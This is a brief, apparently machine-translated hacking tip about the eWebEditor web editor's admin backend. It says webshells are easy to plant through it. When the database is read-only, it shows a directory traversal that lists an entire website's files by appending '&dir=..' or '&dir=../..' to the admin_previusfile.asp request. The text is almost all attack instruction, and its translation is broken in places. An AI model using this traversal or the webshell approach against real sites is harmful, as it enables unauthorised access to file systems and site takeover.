When the Ewebeditor database is read-only

Ewebedit adds a style to the background. it is easy to get webshell. sometimes unfortunately. the Administrator changed the database to read-only permission. there is a small defect in the webeditor background. you can view the entire website directory. of course. the database can be used when it is read-only.

For:
Upload File Management --- Select a style directory (select a directory as needed)
Get:
Ewebeditor/admin_previusfile.asp? Id = 14
Add & dir = .. after id = 14 ..
Add & dir = ../..
& Dir =.../... you can see the entire website file.

Of course, can you solve the shell problem ..